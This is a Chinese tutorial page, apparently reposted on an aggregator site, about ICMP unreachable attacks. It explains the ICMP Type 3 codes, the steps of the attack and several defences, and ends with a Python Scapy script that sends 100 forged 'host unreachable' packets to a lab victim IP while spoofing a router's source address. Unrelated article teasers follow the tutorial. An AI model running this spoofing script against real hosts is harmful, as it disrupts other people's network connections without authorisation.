使用 Scapy 库编写 ICMP 不可达攻击脚本

一、介绍

ICMP不可达攻击是一种利用ICMP(Internet Control Message Protocol)不可达消息来干扰或中断目标系统的网络通信的攻击类型。通过发送伪造的ICMP不可达消息,攻击者可以诱使目标系统认为某些网络路径或主机不可达,从而导致通信失败或性能下降。

1.1 ICMP不可达消息的工作原理

ICMP不可达消息用于通知发送方某个数据包无法到达其目标。这种消息可以有多种类型,常见的包括:

  • 网络不可达(Network Unreachable,Type 3, Code 0):表示目的网络不可达。
  • 主机不可达(Host Unreachable,Type 3, Code 1):表示目的主机不可达。
  • 协议不可达(Protocol Unreachable,Type 3, Code 2):表示目标主机不支持所请求的协议。
  • 端口不可达(Port Unreachable,Type 3, Code 3):表示目标主机的目标端口不可达。

这些消息在网络通信中是合法且有用的,但攻击者可以利用这些消息进行攻击。

1.2 ICMP不可达攻击的步骤

  1. 捕获合法数据包:攻击者首先嗅探网络流量,捕获目标主机的合法通信数据包。
  2. 伪造ICMP不可达消息:攻击者构造一个伪造的ICMP不可达消息,伪装成合法路由器或中间设备,声称某个路径或主机不可达。
  3. 发送ICMP不可达消息:攻击者将伪造的ICMP不可达消息发送给目标主机,诱使目标主机更新其路由表或终止通信。
  4. 导致通信失败或性能下降:目标主机接收到伪造的ICMP不可达消息后,认为某个路径或主机不可达,导致通信失败或性能下降。

1.3 防御措施

  1. 流量过滤:在网络边界或目标系统上实施流量过滤,识别和丢弃伪造的ICMP不可达消息。可以使用防火墙、入侵检测系统(IDS)或专用的防御设备来实现流量过滤。

  2. 验证ICMP消息:配置网络设备和主机,验证ICMP不可达消息的合法性。例如,检查消息的源IP地址是否可信,消息中的原始数据包头部信息是否一致等。

  3. 限制ICMP响应:在目标系统上配置限制,限制对ICMP消息的响应数量,以防止被用于进行攻击。可以通过修改操作系统的参数或使用防火墙规则来实现限制。

  4. 网络监控和分析:定期监控和分析网络流量,及时发现异常的ICMP流量模式,以及可能是ICMP不可达攻击的迹象。使用网络流量分析工具和入侵检测系统来辅助监控和分析。

通过综合使用上述防御措施,可以有效地保护网络免受ICMP不可达攻击的影响,维护网络的可用性和稳定性。

二、实验环境

受害者:192.168.134.148 

三、实操演示

以下示例代码展示了如何使用Scapy构造和发送伪造的ICMP不可达消息:

from scapy.all import *
from scapy.layers.inet import ICMPdef icmp_unreachable_attack(target_ip, src_ip, count):# 构造伪造的ICMP不可达消息ip = IP(src=src_ip, dst=target_ip)icmp = ICMP(type=3, code=1)  # type 3 表示不可达,code 1 表示主机不可达original_packet = IP(src=target_ip, dst="8.8.8.8") / ICMP()  # 假设目标主机要访问8.8.8.8# 发送多个ICMP不可达消息for _ in range(count):icmp_unreachable = ip / icmp / original_packetsend(icmp_unreachable)print(f"Sent ICMP unreachable message to {target_ip} from {src_ip}")if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标主机的IP地址src_ip = "192.168.134.147"  # 伪造的源IP地址(如路由器)count = 100  # 要发送的ICMP消息数量icmp_unreachable_attack(target_ip, src_ip, count)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/850096.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端开发高频面试题

好的,以下是对您提出的问题的详细回答: 说说vue动态权限绑定渲染列表(权限列表渲染) Vue中动态权限绑定渲染列表通常涉及以下步骤: 首先,通过API请求从服务器获取当前用户的权限数据。在Vue组件中&#xff…

《数据库原理与应用》

计算题 设有关系模式R(ABCDEF),F={ A→BC,CD→E,B→DA }1)求R的所有候选码。2)R最高属于第几范式 AE,BE 三个关系如下:教学管理系统包括下面3个表:Students (Sno, Sname, Sex, Birthday, Enrollyear, Speciality, Dno) Courses (Cno, Cname, Period, Credit) SC (…

二叉树及其在C语言中的实现A

一、引言 二叉树是数据结构中一种非常基础且重要的树形结构,它的每个节点最多有两个子节点,通常被称为左子节点和右子节点。二叉树在计算机科学中有着广泛的应用,如搜索、排序、存储数据等。本文将详细介绍二叉树的基本概念、特性以及在C语言…

Linux: ubi rootfs 故障案例 (1)

文章目录 1. 前言2. ubi rootfs 故障现场3. 故障分析与解决4. 参考资料 1. 前言 限于作者能力水平,本文可能存在谬误,因此而给读者带来的损失,作者不做任何承诺。 2. ubi rootfs 故障现场 问题故障内核日志如下: Starting ker…

elasticsearch安装与使用(2)-基于term匹配的简单搜索引擎搭建

把一篇pdf论文解析后,放入es数据库中,建立倒排索引表,并实现简单搜索。 1、pdf论文解析(英文) 安装pdf解析包 pip install pdfminer.sixdef extract_text_from_pdf(filename, page_numbersNone, min_line_length1):从pdf文件中提取文字:pa…

btstack协议栈实战篇--GAP Link Key Management

btstack协议栈---总目录-CSDN博客 目录 1.GAP 链接密钥逻辑 2.蓝牙逻辑 3.主应用程序设置 4.log信息 展示了如何遍历存储在 NVS 中的经典链接密钥,链接密钥是每个设备-设备绑定的。如果蓝牙控制器可以交换,例如在桌面系统上,则每个控制器都需…

App UI 风格,引领时尚

App UI 风格,引领时尚

R语言探索与分析18-基于时间序列的汇率预测

一、研究背景与意义 汇率是指两个国家之间的货币兑换比率,而且在国家与国家的经济交流有着举足轻重的作用。随着经济全球化的不断深入,在整个全球经济体中,汇率还是一个评估国家与国家之间的经济状况和发展水平的一个风向标。汇率的变动会对…

【前端】响应式布局笔记——媒体查询

一、媒体查询 为不同尺寸的屏幕设定不同的css样式&#xff08;常用于移动端&#xff09;。 案例1 <style>.content{width: 400px;height: 400px;border: 1px solid;}media screen and (min-device-width:200px) and (min-device-width:300px) {.content{background: r…

Linux基础指令文件管理003

本章讲述如何查看文件以及修改权限。 操作系统&#xff1a; CentOS Stream 9 操作步骤&#xff1a; 查看文件&#xff1a; 指令cat [rootlocalhost a]# cat 1.txt 123 [rootlocalhost a]# 指令less [rootlocalhost a]# less 1.txt 123 ~ ~ ~ ~ ~ ~ ~ ~指令more [rootloc…

用户价值模型-RFM模型

一、RFM模型是什么 说到用户价值模型&#xff0c;我们常常会用的就是&#xff0c;RFM用户价值模型&#xff0c;它是一种常用于客户分析和营销策略制定的模型。 RFM代表的意思是&#xff1a; 1&#xff09;R(Recency)&#xff1a;最近一次购买时间&#xff0c;也就是客户最近一…

零基础入门学用Arduino 第二部分(一)

重要的内容写在前面&#xff1a; 该系列是以up主太极创客的零基础入门学用Arduino教程为基础制作的学习笔记。个人把这个教程学完之后&#xff0c;整体感觉是很好的&#xff0c;如果有条件的可以先学习一些相关课程&#xff0c;学起来会更加轻松&#xff0c;相关课程有数字电路…

构建智能汽车新质生产力丨美格智能亮相2024高通汽车技术与合作峰会

近日&#xff0c;以“我们一起&#xff0c;驭风前行”为主题的2024高通汽车技术与合作峰会在无锡国际会议中心隆重举行。作为高通公司的战略合作伙伴&#xff0c;美格智能受邀全程参与此次汽车技术与合作峰会。在峰会现场&#xff0c;美格智能产品团队隆重展示了多款基于高通平…

vscode中jupyter notebook执行bash命令,乱码解决方法

问题描述 使用vscode中使用jupyter notebook执行bash命令时,不管是中文还是英文,输出均是乱码 但是使用vscode的terminal执行同样的命令又没有问题,系统自带的cmd也没有问题。 最终解决后的效果如下: ## 问题分析 默认vscode会选择使用cmd执行shell, 但是通过vscode的设…

Vue3相关语法内容,组件传值

1、Vue3相关语法内容 1、赋值语法&#xff08;ref&#xff0c;reactive&#xff09; 1.1、ref 、isRef、 shallowRef、triggerRef、customRef 支持所有的类型&#xff08;原因没有泛型约束&#xff09; ##### 1、ref // 简单数据类型 可以直接通过 赋值 type M {name:string…

记一个ESP12-F芯片的坑

这两个都叫ESP-12F从外观上很难区分他们的差别&#xff0c;甚至背面的引脚都是一样的 这个单独的芯片就是从板子上拆下来的&#xff0c;使用这颗芯片按住FLASH按键LED灯会亮&#xff0c;很离谱&#xff0c;led灯的引脚是GPIO2 flash引脚是GPIO0&#xff0c;他们之间的内部封装…

PowerDesigner导入Excel模板生成数据表

PowerDesigner导入Excel模板生成数据表 1.准备好需要导入的Excel表结构数据,模板内容如下图所示 2.打开PowerDesigner,新建一个physical data model文件,填入文件名称,选择数据库类型 3.点击Tools|Execute Commands|Edit/Run Script菜单或按下快捷键Ctrl Shift X打开脚本窗口…

Day45 代码随想录打卡|二叉树篇---路径总和

题目&#xff08;leecode T112&#xff09;&#xff1a; 给你二叉树的根节点 root 和一个表示目标和的整数 targetSum 。判断该树中是否存在 根节点到叶子节点 的路径&#xff0c;这条路径上所有节点值相加等于目标和 targetSum 。如果存在&#xff0c;返回 true &#xff1b;…

Redis-sentinel(哨兵模式)的搭建步骤及相关知识

1、什么是redis-sentinel&#xff0c;和redis主从复制相比&#xff0c;它具有什么优势 1.1、redis主从复制 Redis主从复制是一种用于数据冗余和可伸缩性的机制&#xff0c;它将一台Redis服务器的数据复制到其他Redis服务器。在这种模式下&#xff0c;数据会实时地从一个主节点…

Polar Web【中等】反序列化

Polar Web【中等】反序列化 Contents Polar Web【中等】反序列化思路&探索EXPPHP生成PayloadGET传递参数 运行&总结 思路&探索 一个经典的反序列化问题&#xff0c;本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。 打开站点&#xff0c;分析…